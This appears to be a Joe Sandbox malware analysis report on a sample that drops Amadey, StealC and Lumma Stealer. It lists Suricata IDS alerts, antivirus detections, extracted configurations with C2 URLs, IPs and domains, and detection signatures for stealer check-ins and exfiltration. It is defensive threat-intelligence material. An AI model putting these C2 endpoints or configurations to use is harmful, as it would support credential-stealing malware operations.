2024-10-24T19:30:12.782877+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.5	58181	1.1.1.1	53	UDP
2024-10-24T19:30:27.886922+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.5	62322	1.1.1.1	53	UDP
2024-10-24T19:31:01.965736+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.5	51864	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T19:29:08.469316+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.5	56704	1.1.1.1	53	UDP
2024-10-24T19:30:12.769912+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.5	62392	1.1.1.1	53	UDP
2024-10-24T19:30:27.871869+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.5	59483	1.1.1.1	53	UDP
2024-10-24T19:31:01.954177+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.5	64190	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T19:29:08.530869+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.5	58170	1.1.1.1	53	UDP
2024-10-24T19:30:12.832448+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.5	51004	1.1.1.1	53	UDP
2024-10-24T19:30:27.945127+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.5	58019	1.1.1.1	53	UDP
2024-10-24T19:31:02.027425+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.5	60387	1.1.1.1	53	UDP
2024-10-24T19:31:02.056703+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.5	60387	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T19:29:08.456126+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.5	58388	1.1.1.1	53	UDP
2024-10-24T19:30:12.757322+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.5	55170	1.1.1.1	53	UDP
2024-10-24T19:30:27.853039+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.5	56120	1.1.1.1	53	UDP
2024-10-24T19:31:01.939775+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.5	56211	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T19:29:08.517381+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.5	54020	1.1.1.1	53	UDP
2024-10-24T19:30:12.820005+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.5	50757	1.1.1.1	53	UDP
2024-10-24T19:30:27.928284+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.5	59280	1.1.1.1	53	UDP
2024-10-24T19:31:02.009653+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.5	63036	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T19:29:08.495747+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.5	54851	1.1.1.1	53	UDP
2024-10-24T19:30:12.794814+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.5	57594	1.1.1.1	53	UDP
2024-10-24T19:30:27.901042+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.5	49923	1.1.1.1	53	UDP
2024-10-24T19:31:01.981526+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.5	59774	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T19:29:18.198790+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49712	104.21.53.8	443	TCP
2024-10-24T19:30:20.051650+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	50000	104.21.53.8	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T19:29:32.901945+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49774	185.215.113.37	80	TCP
2024-10-24T19:30:19.976465+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50001	185.215.113.37	80	TCP
2024-10-24T19:30:27.992989+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50010	185.215.113.37	80	TCP
2024-10-24T19:30:38.197005+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50039	185.215.113.37	80	TCP
2024-10-24T19:30:49.237579+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50044	185.215.113.37	80	TCP
2024-10-24T19:30:56.841536+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50048	185.215.113.37	80	TCP
2024-10-24T19:31:08.556883+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50078	185.215.113.37	80	TCP
2024-10-24T19:31:23.360831+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50114	185.215.113.37	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T19:30:04.565690+0200	2856147	1	A Network Trojan was detected	192.168.2.5	49942	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T19:30:11.980774+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49955	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T19:30:08.740425+0200	2803305	3	Unknown Traffic	192.168.2.5	49959	185.215.113.16	80	TCP
2024-10-24T19:30:13.835453+0200	2803305	3	Unknown Traffic	192.168.2.5	49981	185.215.113.16	80	TCP
2024-10-24T19:30:19.413947+0200	2803305	3	Unknown Traffic	192.168.2.5	49999	185.215.113.16	80	TCP
2024-10-24T19:30:25.197634+0200	2803305	3	Unknown Traffic	192.168.2.5	50005	185.215.113.16	80	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T19:29:10.153582+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	49706	104.102.49.254	443	TCP
2024-10-24T19:30:14.836388+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	49979	104.102.49.254	443	TCP
2024-10-24T19:30:29.453430+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	50014	104.102.49.254	443	TCP
2024-10-24T19:31:03.551426+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	50074	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000003.00000002.2329238363.0000000000D11000.00000040.00000001.01000000.00000006.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 5.2.RLX7QEJ1ATLQN8ECDIPHB.exe.d0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 09d417a7c4.exe.7836.11.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["dissapoiznw.store", "studennotediw.store", "licendfilteo.site", "spirittunek.store", "eaglepawnoy.store", "clearancek.site", "mobbipenju.store", "bathdoomgaz.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50093 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50097 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe, 00000007.00000003.2338491843.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe, 00000007.00000002.2471724007.0000000000C52000.00000040.00000001.01000000.0000000B.sdmp

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 188MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.5:62647 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.5:58388 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.5:59774 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:58230 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.5:58170 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.5:56704 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.5:54851 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.5:54020 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49942 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49774 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:62960 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49955
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.5:50757 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.5:51004 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.5:55170 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.5:58181 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.5:62392 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.5:57594 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.5:54725 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50001 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49998 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50003 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49974 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.5:62322 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.5:49923 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:58389 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.5:56490 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.5:58019 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.5:59280 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50010 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.5:56120 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50015 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50039 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.5:59483 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.5:51864 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.5:63036 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.5:59774 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50048 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.5:63697 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.5:56211 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:58566 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50114 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50044 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.5:60387 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.5:64190 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50078 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:49706 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49707 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49707 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49708 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49708 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49712 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49716 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50000 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:50014 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49989 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49989 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:49979 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:50074 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49994 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50018 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49994 -> 104.21.53.8:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: dissapoiznw.store
Source: Malware configuration extractor	URLs: studennotediw.store
Source: Malware configuration extractor	URLs: licendfilteo.site
Source: Malware configuration extractor	URLs: spirittunek.store
Source: Malware configuration extractor	URLs: eaglepawnoy.store
Source: Malware configuration extractor	URLs: clearancek.site
Source: Malware configuration extractor	URLs: mobbipenju.store
Source: Malware configuration extractor	URLs: bathdoomgaz.store
Source: Malware configuration extractor	IPs: 185.215.113.43

